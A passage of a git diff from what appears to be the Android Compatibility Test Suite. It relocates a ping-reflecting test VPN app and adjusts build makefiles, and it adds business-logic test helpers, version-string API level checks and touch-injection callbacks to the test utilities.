+import android.content.pm.PackageManager.NameNotFoundException;
+import android.net.VpnService;
+import android.os.Bundle;
+import android.os.ParcelFileDescriptor;
+import android.os.UserManager;
+import android.text.TextUtils;
+import android.util.Log;
+import android.os.SystemProperties;
+
+import java.io.IOException;
+import java.net.InetAddress;
+import java.net.UnknownHostException;
+
+public class ReflectorVpnService extends VpnService {
+
+ private static String TAG = "ReflectorVpnService";
+ private static final int NOTIFICATION_ID = 1;
+ private static final String NOTIFICATION_CHANNEL_ID = TAG;
+ private static int MTU = 1799;
+
+ private ParcelFileDescriptor mFd = null;
+ private PingReflector mPingReflector = null;
+
+ public static final String RESTRICTION_ADDRESSES = "vpn.addresses";
+ public static final String RESTRICTION_ROUTES = "vpn.routes";
+ public static final String RESTRICTION_ALLOWED = "vpn.allowed";
+ public static final String RESTRICTION_DISALLOWED = "vpn.disallowed";
+
+ @Override
+ public int onStartCommand(Intent intent, int flags, int startId) {
+ // Put ourself in the foreground to stop the system killing us while we wait for orders from
+ // the hostside test.
+ NotificationManager notificationManager = getSystemService(NotificationManager.class);
+ notificationManager.createNotificationChannel(new NotificationChannel(
+ NOTIFICATION_CHANNEL_ID, NOTIFICATION_CHANNEL_ID,
+ NotificationManager.IMPORTANCE_DEFAULT));
+ startForeground(NOTIFICATION_ID, new Notification.Builder(this, NOTIFICATION_CHANNEL_ID)
+ .setSmallIcon(R.drawable.ic_dialog_alert)
+ .build());
+ start();
+ return START_REDELIVER_INTENT;
+ }
+
+ @Override
+ public void onDestroy() {
+ stop();
+ NotificationManager notificationManager = getSystemService(NotificationManager.class);
+ notificationManager.deleteNotificationChannel(NOTIFICATION_CHANNEL_ID);
+ super.onDestroy();
+ }
+
+ private void start() {
+ VpnService.prepare(this);
+ Builder builder = new Builder();
+
+ final UserManager um = (UserManager) getSystemService(Context.USER_SERVICE);
+ final Bundle restrictions = um.getApplicationRestrictions(getPackageName());
+
+ String[] addressArray = restrictions.getStringArray(RESTRICTION_ADDRESSES);
+ if (addressArray == null) {
+ // Addresses for IPv4/IPv6 documentation purposes according to rfc5737/rfc3849.
+ addressArray = new String[] {"192.0.2.3/32", "2001:db8:1:2::/128"};
+ };
+ for (int i = 0; i < addressArray.length; i++) {
+ String[] prefixAndMask = addressArray[i].split("/");
+ try {
+ InetAddress address = InetAddress.getByName(prefixAndMask[0]);
+ int prefixLength = Integer.parseInt(prefixAndMask[1]);
+ builder.addAddress(address, prefixLength);
+ } catch (NumberFormatException | UnknownHostException e) {
+ Log.w(TAG, "Ill-formed address: " + addressArray[i]);
+ continue;
+ }
+ }
+
+ String[] routeArray = restrictions.getStringArray(RESTRICTION_ROUTES);
+ if (routeArray == null) {
+ routeArray = new String[] {"0.0.0.0/0", "::/0"};
+ }
+ for (int i = 0; i < routeArray.length; i++) {
+ String[] prefixAndMask = routeArray[i].split("/");
+ try {
+ InetAddress address = InetAddress.getByName(prefixAndMask[0]);
+ int prefixLength = Integer.parseInt(prefixAndMask[1]);
+ builder.addRoute(address, prefixLength);
+ } catch (NumberFormatException | UnknownHostException e) {
+ Log.w(TAG, "Ill-formed route: " + routeArray[i]);
+ continue;
+ }
+ }
+
+ String[] allowedArray = restrictions.getStringArray(RESTRICTION_ALLOWED);
+ if (allowedArray != null) {
+ for (int i = 0; i < allowedArray.length; i++) {
+ String allowedPackage = allowedArray[i];
+ if (!TextUtils.isEmpty(allowedPackage)) {
+ try {
+ builder.addAllowedApplication(allowedPackage);
+ } catch(NameNotFoundException e) {
+ Log.w(TAG, "Allowed package not found: " + allowedPackage);
+ continue;
+ }
+ }
+ }
+ }
+
+ String[] disallowedArray = restrictions.getStringArray(RESTRICTION_DISALLOWED);
+ if (disallowedArray != null) {
+ for (int i = 0; i < disallowedArray.length; i++) {
+ String disallowedPackage = disallowedArray[i];
+ if (!TextUtils.isEmpty(disallowedPackage)) {
+ try {
+ builder.addDisallowedApplication(disallowedPackage);
+ } catch(NameNotFoundException e) {
+ Log.w(TAG, "Disallowed package not found: " + disallowedPackage);
+ continue;
+ }
+ }
+ }
+ }
+
+ if (allowedArray == null &&
+ (SystemProperties.getInt("persist.adb.tcp.port", -1) > -1
+ || SystemProperties.getInt("service.adb.tcp.port", -1) > -1)) {
+ try {
+ // If adb TCP port opened the test may be running by adb over network.
+ // Add com.android.shell application into blacklist to exclude adb socket
+ // for VPN tests.
+ builder.addDisallowedApplication("com.android.shell");
+ } catch(NameNotFoundException e) {
+ Log.w(TAG, "com.android.shell not found");
+ }
+ }
+
+ builder.setMtu(MTU);
+ builder.setBlocking(true);
+ builder.setSession(TAG);
+
+ mFd = builder.establish();
+ if (mFd == null) {
+ Log.e(TAG, "Unable to establish file descriptor for VPN connection");
+ return;
+ }
+ Log.i(TAG, "Established, fd=" + mFd.getFd());
+
+ mPingReflector = new PingReflector(mFd.getFileDescriptor(), MTU);
+ mPingReflector.start();
+ }
+
+ private void stop() {
+ if (mPingReflector != null) {
+ mPingReflector.interrupt();
+ mPingReflector = null;
+ }
+ try {
+ if (mFd != null) {
+ Log.i(TAG, "Closing filedescriptor");
+ mFd.close();
+ }
+ } catch(IOException e) {
+ Log.w(TAG, "Closing filedescriptor failed", e);
+ } finally {
+ mFd = null;
+ }
+ }
+}
diff --git a/hostsidetests/devicepolicy/app/VpnApp/src/com/android/cts/vpnfirewall/Rfc1071.java b/apps/VpnApp/src/com/android/cts/vpnfirewall/Rfc1071.java
similarity index 100%
rename from hostsidetests/devicepolicy/app/VpnApp/src/com/android/cts/vpnfirewall/Rfc1071.java
rename to apps/VpnApp/src/com/android/cts/vpnfirewall/Rfc1071.java
diff --git a/apps/VpnApp/src/com/android/cts/vpnfirewall/VpnClient.java b/apps/VpnApp/src/com/android/cts/vpnfirewall/VpnClient.java
new file mode 100644
index 0000000..e4577a5
--- /dev/null
+++ b/apps/VpnApp/src/com/android/cts/vpnfirewall/VpnClient.java
@@ -0,0 +1,61 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.vpnfirewall;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.net.VpnService;
+import android.os.Bundle;
+
+public class VpnClient extends Activity {
+
+ public static final String ACTION_CONNECT_AND_FINISH =
+ "com.android.cts.vpnfirewall.action.CONNECT_AND_FINISH";
+
+ private static final int REQUEST_CONNECT = 0;
+ private static final int REQUEST_CONNECT_AND_FINISH = 1;
+
+ @Override
+ public void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.vpn_client);
+
+ if (ACTION_CONNECT_AND_FINISH.equals(getIntent().getAction())) {
+ prepareAndStart(REQUEST_CONNECT_AND_FINISH);
+ }
+ findViewById(R.id.connect).setOnClickListener(v -> prepareAndStart(REQUEST_CONNECT));
+ }
+
+ @Override
+ protected void onActivityResult(int request, int result, Intent data) {
+ if (result == RESULT_OK) {
+ startService(new Intent(this, ReflectorVpnService.class));
+ }
+ if (request == REQUEST_CONNECT_AND_FINISH) {
+ finish();
+ }
+ }
+
+ private void prepareAndStart(int requestCode) {
+ Intent intent = VpnService.prepare(VpnClient.this);
+ if (intent != null) {
+ startActivityForResult(intent, requestCode);
+ } else {
+ onActivityResult(requestCode, RESULT_OK, null);
+ }
+ }
+}
diff --git a/build/compatibility_test_suite.mk b/build/compatibility_test_suite.mk
index 7cdd220..d133c3e 100644
--- a/build/compatibility_test_suite.mk
+++ b/build/compatibility_test_suite.mk
@@ -16,25 +16,21 @@
# Builds a compatibility test suite.
#
-# Generate the SuiteInfo.java
-suite_info_java := $(call intermediates-dir-for,JAVA_LIBRARIES,$(LOCAL_MODULE),true,COMMON)/com/android/compatibility/SuiteInfo.java
-$(suite_info_java): PRIVATE_SUITE_BUILD_NUMBER := $(LOCAL_SUITE_BUILD_NUMBER)
-$(suite_info_java): PRIVATE_SUITE_TARGET_ARCH := $(LOCAL_SUITE_TARGET_ARCH)
-$(suite_info_java): PRIVATE_SUITE_NAME := $(LOCAL_SUITE_NAME)
-$(suite_info_java): PRIVATE_SUITE_FULLNAME := $(LOCAL_SUITE_FULLNAME)
-$(suite_info_java): PRIVATE_SUITE_VERSION := $(LOCAL_SUITE_VERSION)
-$(suite_info_java): cts/build/compatibility_test_suite.mk $(LOCAL_MODULE_MAKEFILE)
+# Generate suite info property file
+suite_info_prop := $(call intermediates-dir-for,JAVA_LIBRARIES,$(LOCAL_MODULE),true,COMMON)/test-suite-info.properties
+$(suite_info_prop): PRIVATE_SUITE_BUILD_NUMBER := $(LOCAL_SUITE_BUILD_NUMBER)
+$(suite_info_prop): PRIVATE_SUITE_TARGET_ARCH := $(LOCAL_SUITE_TARGET_ARCH)
+$(suite_info_prop): PRIVATE_SUITE_NAME := $(LOCAL_SUITE_NAME)
+$(suite_info_prop): PRIVATE_SUITE_FULLNAME := $(LOCAL_SUITE_FULLNAME)
+$(suite_info_prop): PRIVATE_SUITE_VERSION := $(LOCAL_SUITE_VERSION)
+$(suite_info_prop): cts/build/compatibility_test_suite.mk $(LOCAL_MODULE_MAKEFILE)
@echo Generating: $@
- $(hide) mkdir -p $(dir $@)
- $(hide) echo "/* This file is auto generated by Android.mk. Do not modify. */" > $@
- $(hide) echo "package com.android.compatibility;" >> $@
- $(hide) echo "public class SuiteInfo {" >> $@
- $(hide) echo " public static final String BUILD_NUMBER = \"$(PRIVATE_SUITE_BUILD_NUMBER)\";" >> $@
- $(hide) echo " public static final String TARGET_ARCH = \"$(PRIVATE_SUITE_TARGET_ARCH)\";" >> $@
- $(hide) echo " public static final String NAME = \"$(PRIVATE_SUITE_NAME)\";" >> $@
- $(hide) echo " public static final String FULLNAME = \"$(PRIVATE_SUITE_FULLNAME)\";" >> $@
- $(hide) echo " public static final String VERSION = \"$(PRIVATE_SUITE_VERSION)\";" >> $@
- $(hide) echo "}" >> $@
+ $(hide) echo "# This file is auto generated by Android.mk. Do not modify." > $@
+ $(hide) echo "build_number = $(PRIVATE_SUITE_BUILD_NUMBER)" >> $@
+ $(hide) echo "target_arch = $(PRIVATE_SUITE_TARGET_ARCH)" >> $@
+ $(hide) echo "name = $(PRIVATE_SUITE_NAME)" >> $@
+ $(hide) echo "fullname = $(PRIVATE_SUITE_FULLNAME)" >> $@
+ $(hide) echo "version = $(PRIVATE_SUITE_VERSION)" >> $@
# Reset variables
LOCAL_SUITE_BUILD_NUMBER :=
@@ -42,8 +38,8 @@
LOCAL_SUITE_FULLNAME :=
LOCAL_SUITE_VERSION :=
-# Include the SuiteInfo.java
-LOCAL_GENERATED_SOURCES := $(suite_info_java)
+# Include the test suite properties file
+LOCAL_JAVA_RESOURCE_FILES += $(suite_info_prop)
# Add the base libraries
LOCAL_JAVA_LIBRARIES += tradefed hosttestlib compatibility-host-util
@@ -51,3 +47,5 @@
LOCAL_MODULE_TAGS := optional
include $(BUILD_HOST_JAVA_LIBRARY)
+
+suite_info_prop :=
diff --git a/build/device_info_package.mk b/build/device_info_package.mk
index 0d0ff45..5c290b0 100644
--- a/build/device_info_package.mk
+++ b/build/device_info_package.mk
@@ -50,7 +50,7 @@
# Generator of APK manifests.
MANIFEST_GENERATOR_JAR := $(HOST_OUT_JAVA_LIBRARIES)/compatibility-manifest-generator.jar
-MANIFEST_GENERATOR := java -jar $(MANIFEST_GENERATOR_JAR)
+MANIFEST_GENERATOR := $(JAVA) -jar $(MANIFEST_GENERATOR_JAR)
# Generate the manifest
manifest_xml := $(call intermediates-dir-for,APPS,$(LOCAL_PACKAGE_NAME))/AndroidManifest.xml
diff --git a/build/support_package.mk b/build/support_package.mk
index e25ba8a..83d7da9 100644
--- a/build/support_package.mk
+++ b/build/support_package.mk
@@ -22,5 +22,6 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
+-include cts/error_prone_rules_tests.mk
include $(BUILD_PACKAGE)
diff --git a/build/test_package.mk b/build/test_package.mk
index 3cec0af..2aa0852 100644
--- a/build/test_package.mk
+++ b/build/test_package.mk
@@ -20,5 +20,6 @@
LOCAL_STATIC_JAVA_LIBRARIES += platform-test-annotations
+-include cts/error_prone_rules_tests.mk
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/build/test_target_java_library.mk b/build/test_target_java_library.mk
index eb11ef7..c932c30 100644
--- a/build/test_target_java_library.mk
+++ b/build/test_target_java_library.mk
@@ -20,5 +20,6 @@
LOCAL_DEX_PREOPT := false
LOCAL_STATIC_JAVA_LIBRARIES += platform-test-annotations
+-include cts/error_prone_rules_tests.mk
include $(BUILD_JAVA_LIBRARY)
diff --git a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/StorageDeviceInfo.java b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/StorageDeviceInfo.java
index dafff35..767f1d9 100644
--- a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/StorageDeviceInfo.java
+++ b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/StorageDeviceInfo.java
@@ -62,7 +62,7 @@
private List<String> scanPartitions() {
List<String> partitionList = new ArrayList<>();
try {
- Process df = new ProcessBuilder("df").start();
+ Process df = new ProcessBuilder("df -k").start();
Scanner scanner = new Scanner(df.getInputStream());
try {
while (scanner.hasNextLine()) {
diff --git a/common/device-side/util/jni/Android.mk b/common/device-side/util/jni/Android.mk
index 7b73707..8627d24 100644
--- a/common/device-side/util/jni/Android.mk
+++ b/common/device-side/util/jni/Android.mk
@@ -32,4 +32,6 @@
LOCAL_STATIC_LIBRARIES := cpufeatures
LOCAL_SDK_VERSION := 19
+LOCAL_CFLAGS := -Wno-unused-parameter
+
include $(BUILD_SHARED_LIBRARY)
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/ApiLevelUtil.java b/common/device-side/util/src/com/android/compatibility/common/util/ApiLevelUtil.java
index 1df7198..c3394b7 100644
--- a/common/device-side/util/src/com/android/compatibility/common/util/ApiLevelUtil.java
+++ b/common/device-side/util/src/com/android/compatibility/common/util/ApiLevelUtil.java
@@ -18,6 +18,8 @@
import android.os.Build;
+import java.lang.reflect.Field;
+
/**
* Device-side compatibility utility class for reading device API level.
*/
@@ -27,18 +29,34 @@
return Build.VERSION.SDK_INT < version;
}
+ public static boolean isBefore(String version) {
+ return Build.VERSION.SDK_INT < resolveVersionString(version);
+ }
+
public static boolean isAfter(int version) {
return Build.VERSION.SDK_INT > version;
}
+ public static boolean isAfter(String version) {
+ return Build.VERSION.SDK_INT > resolveVersionString(version);
+ }
+
public static boolean isAtLeast(int version) {
return Build.VERSION.SDK_INT >= version;
}
+ public static boolean isAtLeast(String version) {
+ return Build.VERSION.SDK_INT > resolveVersionString(version);
+ }
+
public static boolean isAtMost(int version) {
return Build.VERSION.SDK_INT <= version;
}
+ public static boolean isAtMost(String version) {
+ return Build.VERSION.SDK_INT <= resolveVersionString(version);
+ }
+
public static int getApiLevel() {
return Build.VERSION.SDK_INT;
}
@@ -54,4 +72,19 @@
public static String getCodename() {
return Build.VERSION.CODENAME;
}
+
+ protected static int resolveVersionString(String versionString) {
+ try {
+ return Integer.parseInt(versionString); // e.g. "24" for M
+ } catch (NumberFormatException e1) {
+ try {
+ Field versionField = Build.VERSION_CODES.class.getField(
+ versionString.toUpperCase());
+ return versionField.getInt(null); // no instance for VERSION_CODES, use null
+ } catch (IllegalAccessException | NoSuchFieldException e2) {
+ throw new RuntimeException(
+ String.format("Failed to parse version string %s", versionString), e2);
+ }
+ }
+ }
}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutor.java b/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutor.java
new file mode 100644
index 0000000..ec940ce
--- /dev/null
+++ b/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutor.java
@@ -0,0 +1,91 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.content.Context;
+
+import java.lang.reflect.Method;
+import java.util.Arrays;
+import java.util.List;
+
+/**
+ * Execute business logic methods for device side test cases
+ */
+public class BusinessLogicDeviceExecutor extends BusinessLogicExecutor {
+
+ private Context mContext;
+ private Object mTestObj;
+
+ public BusinessLogicDeviceExecutor(Context context, Object testObj) {
+ mContext = context;
+ mTestObj = testObj;
+ }
+
+ /**
+ * {@inheritDoc}
+ */
+ @Override
+ protected Object getTestObject() {
+ return mTestObj;
+ }
+
+ /**
+ * {@inheritDoc}
+ */
+ @Override
+ protected ResolvedMethod getResolvedMethod(Class cls, String methodName, String... args)
+ throws ClassNotFoundException {
+ List<Method> nameMatches = getMethodsWithName(cls, methodName);
+ for (Method m : nameMatches) {
+ ResolvedMethod rm = new ResolvedMethod(m);
+ int paramTypesMatched = 0;
+ int argsUsed = 0;
+ Class[] paramTypes = m.getParameterTypes();
+ for (Class paramType : paramTypes) {
+ if (argsUsed == args.length && paramType.equals(String.class)) {
+ // We've used up all supplied string args, so this method will not match.
+ // If paramType is the Context class, we can match a paramType without needing
+ // more string args. similarly, paramType "String[]" can be matched with zero
+ // string args. If we add support for more paramTypes, this logic may require
+ // adjustment.
+ break;
+ }
+ if (paramType.equals(String.class)) {
+ // Type "String" -- supply the next available arg
+ rm.addArg(args[argsUsed++]);
+ } else if (Context.class.isAssignableFrom(paramType)) {
+ // Type "Context" -- supply the context from the test case
+ rm.addArg(mContext);
+ } else if (paramType.equals(Class.forName(STRING_ARRAY_CLASS))) {
+ // Type "String[]" (or "String...") -- supply all remaining args
+ rm.addArg(Arrays.copyOfRange(args, argsUsed, args.length));
+ argsUsed += (args.length - argsUsed);
+ } else {
+ break; // Param type is unrecognized, this method will not match.
+ }
+ paramTypesMatched++; // A param type has been matched when reaching this point.
+ }
+ if (paramTypesMatched == paramTypes.length && argsUsed == args.length) {
+ return rm; // Args match, methods match, so return the first method-args pairing.
+ }
+ // Not a match, try args for next method that matches by name.
+ }
+ throw new RuntimeException(String.format(
+ "BusinessLogic: Failed to invoke action method %s with args: %s", methodName,
+ Arrays.toString(args)));
+ }
+}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicTestCase.java b/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicTestCase.java
new file mode 100644
index 0000000..2316637
--- /dev/null
+++ b/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicTestCase.java
@@ -0,0 +1,113 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Rule;
+import org.junit.rules.TestName;
+
+import android.app.Instrumentation;
+import android.content.Context;
+import android.support.test.InstrumentationRegistry;
+import android.util.Log;
+
+import java.lang.reflect.Field;
+import java.io.File;
+import java.util.List;
+import java.util.Map;
+
+/**
+ * Device-side base class for tests leveraging the Business Logic service.
+ */
+public class BusinessLogicTestCase {
+
+ /* String marking the beginning of the parameter in a test name */
+ private static final String PARAM_START = "[";
+
+ /* Test name rule that tracks the current test method under execution */
+ @Rule public TestName mTestCase = new TestName();
+
+ private static BusinessLogic mBusinessLogic;
+ private static boolean mCanReadBusinessLogic = true;
+
+ @BeforeClass
+ public static void prepareBusinessLogic() {
+ File businessLogicFile = new File(BusinessLogic.DEVICE_FILE);
+ if (businessLogicFile.canRead()) {
+ mBusinessLogic = BusinessLogicFactory.createFromFile(businessLogicFile);
+ } else {
+ mCanReadBusinessLogic = false;
+ }
+ }
+
+ @Before
+ public void executeBusinessLogic() {
+ String methodName = mTestCase.getMethodName();
+ assertTrue(String.format("Test \"%s\" is unable to execute as it depends on the missing "
+ + "remote configuration.", methodName), mCanReadBusinessLogic);
+ if (methodName.contains(PARAM_START)) {
+ // Strip parameter suffix (e.g. "[0]") from method name
+ methodName = methodName.substring(0, methodName.lastIndexOf(PARAM_START));
+ }
+ String testName = String.format("%s#%s", this.getClass().getName(), methodName);
+ if (mBusinessLogic.hasLogicFor(testName)) {
+ Log.i("Finding business logic for test case: ", testName);
+ BusinessLogicExecutor executor = new BusinessLogicDeviceExecutor(getContext(), this);
+ mBusinessLogic.applyLogicFor(testName, executor);
+ }
+ }
+
+ protected static Instrumentation getInstrumentation() {
+ return InstrumentationRegistry.getInstrumentation();
+ }
+
+ protected static Context getContext() {
+ return getInstrumentation().getTargetContext();
+ }
+
+ public static void skipTest(String message) {
+ assumeTrue(message, false);
+ }
+
+ public static void failTest(String message) {
+ fail(message);
+ }
+
+ public void mapPut(String mapName, String key, String value) {
+ boolean put = false;
+ for (Field f : getClass().getDeclaredFields()) {
+ if (f.getName().equalsIgnoreCase(mapName) && Map.class.isAssignableFrom(f.getType())) {
+ try {
+ ((Map) f.get(this)).put(key, value);
+ put = true;
+ } catch (IllegalAccessException e) {
+ Log.w(String.format("failed to invoke mapPut on field \"%s\". Resuming...",
+ f.getName()), e);
+ // continue iterating through fields, throw exception if no other fields match
+ }
+ }
+ }
+ if (!put) {
+ throw new RuntimeException(String.format("Failed to find map %s in class %s", mapName,
+ getClass().getName()));
+ }
+ }
+}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/CtsTouchUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/CtsTouchUtils.java
index 0662e81..16796a8 100644
--- a/common/device-side/util/src/com/android/compatibility/common/util/CtsTouchUtils.java
+++ b/common/device-side/util/src/com/android/compatibility/common/util/CtsTouchUtils.java
@@ -31,6 +31,31 @@
* Test utilities for touch emulation.
*/
public final class CtsTouchUtils {
+ /**
+ * Interface definition for a callback to be invoked when an event has been injected.
+ */
+ public interface EventInjectionListener {
+ /**
+ * Callback method to be invoked when a {MotionEvent#ACTION_DOWN} has been injected.
+ * @param xOnScreen X coordinate of the injected event.
+ * @param yOnScreen Y coordinate of the injected event.
+ */
+ public void onDownInjected(int xOnScreen, int yOnScreen);
+
+ /**
+ * Callback method to be invoked when a {MotionEvent#ACTION_MOVE} has been injected.
+ * @param xOnScreen X coordinates of the injected event.
+ * @param yOnScreen Y coordinates of the injected event.
+ */
+ public void onMoveInjected(int[] xOnScreen, int[] yOnScreen);
+
+ /**
+ * Callback method to be invoked when a {MotionEvent#ACTION_UP} has been injected.
+ * @param xOnScreen X coordinate of the injected event.
+ * @param yOnScreen Y coordinate of the injected event.
+ */
+ public void onUpInjected(int xOnScreen, int yOnScreen);
+ }
private CtsTouchUtils() {}
@@ -64,9 +89,9 @@
final UiAutomation uiAutomation = instrumentation.getUiAutomation();
final long downTime = SystemClock.uptimeMillis();
- injectDownEvent(uiAutomation, downTime, xOnScreen, yOnScreen);
+ injectDownEvent(uiAutomation, downTime, xOnScreen, yOnScreen, null);
injectMoveEventForTap(uiAutomation, downTime, touchSlop, xOnScreen, yOnScreen);
- injectUpEvent(uiAutomation, downTime, false, xOnScreen, yOnScreen);
+ injectUpEvent(uiAutomation, downTime, false, xOnScreen, yOnScreen, null);
// Wait for the system to process all events in the queue
instrumentation.waitForIdleSync();
@@ -102,12 +127,12 @@
final UiAutomation uiAutomation = instrumentation.getUiAutomation();
final long downTime = SystemClock.uptimeMillis();
- injectDownEvent(uiAutomation, downTime, xOnScreen, yOnScreen);
+ injectDownEvent(uiAutomation, downTime, xOnScreen, yOnScreen, null);
injectMoveEventForTap(uiAutomation, downTime, touchSlop, xOnScreen, yOnScreen);
- injectUpEvent(uiAutomation, downTime, false, xOnScreen, yOnScreen);
- injectDownEvent(uiAutomation, downTime, xOnScreen, yOnScreen);
+ injectUpEvent(uiAutomation, downTime, false, xOnScreen, yOnScreen, null);
+ injectDownEvent(uiAutomation, downTime, xOnScreen, yOnScreen, null);
injectMoveEventForTap(uiAutomation, downTime, touchSlop, xOnScreen, yOnScreen);
- injectUpEvent(uiAutomation, downTime, false, xOnScreen, yOnScreen);
+ injectUpEvent(uiAutomation, downTime, false, xOnScreen, yOnScreen, null);
// Wait for the system to process all events in the queue
instrumentation.waitForIdleSync();
@@ -125,26 +150,35 @@
public static void emulateDragGesture(Instrumentation instrumentation,
int dragStartX, int dragStartY, int dragAmountX, int dragAmountY) {
emulateDragGesture(instrumentation, dragStartX, dragStartY, dragAmountX, dragAmountY,
- 2000, 20);
+ 2000, 20, null);
}
private static void emulateDragGesture(Instrumentation instrumentation,
int dragStartX, int dragStartY, int dragAmountX, int dragAmountY,
int dragDurationMs, int moveEventCount) {
+ emulateDragGesture(instrumentation, dragStartX, dragStartY, dragAmountX, dragAmountY,
+ dragDurationMs, moveEventCount, null);
+ }
+
+ private static void emulateDragGesture(Instrumentation instrumentation,
+ int dragStartX, int dragStartY, int dragAmountX, int dragAmountY,
+ int dragDurationMs, int moveEventCount,
+ EventInjectionListener eventInjectionListener) {
// We are using the UiAutomation object to inject events so that drag works
// across view / window boundaries (such as for the emulated drag and drop
// sequences)
final UiAutomation uiAutomation = instrumentation.getUiAutomation();
final long downTime = SystemClock.uptimeMillis();
- injectDownEvent(uiAutomation, downTime, dragStartX, dragStartY);
+ injectDownEvent(uiAutomation, downTime, dragStartX, dragStartY, eventInjectionListener);
// Inject a sequence of MOVE events that emulate the "move" part of the gesture
injectMoveEventsForDrag(uiAutomation, downTime, true, dragStartX, dragStartY,
- dragStartX + dragAmountX, dragStartY + dragAmountY, moveEventCount, dragDurationMs);
+ dragStartX + dragAmountX, dragStartY + dragAmountY, moveEventCount, dragDurationMs,
+ eventInjectionListener);
injectUpEvent(uiAutomation, downTime, true, dragStartX + dragAmountX,
- dragStartY + dragAmountY);
+ dragStartY + dragAmountY, eventInjectionListener);
// Wait for the system to process all events in the queue
instrumentation.waitForIdleSync();
@@ -175,7 +209,7 @@
final UiAutomation uiAutomation = instrumentation.getUiAutomation();
final long downTime = SystemClock.uptimeMillis();
- injectDownEvent(uiAutomation, downTime, coordinates.get(0).x, coordinates.get(0).y);
+ injectDownEvent(uiAutomation, downTime, coordinates.get(0).x, coordinates.get(0).y, null);
// Move to each coordinate.
for (int i = 0; i < coordinatesSize - 1; i++) {
@@ -188,25 +222,30 @@
coordinates.get(i + 1).x,
coordinates.get(i + 1).y,
moveEventCount,
- dragDurationMs);
+ dragDurationMs,
+ null);
}
injectUpEvent(uiAutomation,
downTime,
true,
coordinates.get(coordinatesSize - 1).x,
- coordinates.get(coordinatesSize - 1).y);
+ coordinates.get(coordinatesSize - 1).y,
+ null);
// Wait for the system to process all events in the queue
instrumentation.waitForIdleSync();
}
private static long injectDownEvent(UiAutomation uiAutomation, long downTime, int xOnScreen,
- int yOnScreen) {
+ int yOnScreen, EventInjectionListener eventInjectionListener) {
MotionEvent eventDown = MotionEvent.obtain(
downTime, downTime, MotionEvent.ACTION_DOWN, xOnScreen, yOnScreen, 1);
eventDown.setSource(InputDevice.SOURCE_TOUCHSCREEN);
uiAutomation.injectInputEvent(eventDown, true);
+ if (eventInjectionListener != null) {
+ eventInjectionListener.onDownInjected(xOnScreen, yOnScreen);
+ }
eventDown.recycle();
return downTime;
}
@@ -222,7 +261,7 @@
private static void injectMoveEventsForDrag(UiAutomation uiAutomation, long downTime,
boolean useCurrentEventTime, int dragStartX, int dragStartY, int dragEndX, int dragEndY,
- int moveEventCount, int dragDurationMs) {
+ int moveEventCount, int dragDurationMs, EventInjectionListener eventInjectionListener) {
final int dragAmountX = dragEndX - dragStartX;
final int dragAmountY = dragEndY - dragStartY;
final int sleepTime = dragDurationMs / moveEventCount;
@@ -242,10 +281,18 @@
// to be spaced at 10 millisecond intervals, interpolating the coordinates from the
// last generated MOVE event to our current one.
int historyEventCount = (int) ((eventTime - prevEventTime) / 10);
+ int[] xCoordsForListener = (eventInjectionListener == null) ? null :
+ new int[Math.max(1, historyEventCount)];
+ int[] yCoordsForListener = (eventInjectionListener == null) ? null :
+ new int[Math.max(1, historyEventCount)];
MotionEvent eventMove = null;
if (historyEventCount == 0) {
eventMove = MotionEvent.obtain(
downTime, eventTime, MotionEvent.ACTION_MOVE, moveX, moveY, 1);
+ if (eventInjectionListener != null) {
+ xCoordsForListener[0] = moveX;
+ yCoordsForListener[0] = moveY;
+ }
} else {
final int prevMoveX = dragStartX + dragAmountX * i / moveEventCount;
final int prevMoveY = dragStartY + dragAmountY * i / moveEventCount;
@@ -266,11 +313,18 @@
// and then add to it
eventMove.addBatch(stepEventTime, stepMoveX, stepMoveY, 1.0f, 1.0f, 1);
}
+ if (eventInjectionListener != null) {
+ xCoordsForListener[historyIndex] = stepMoveX;
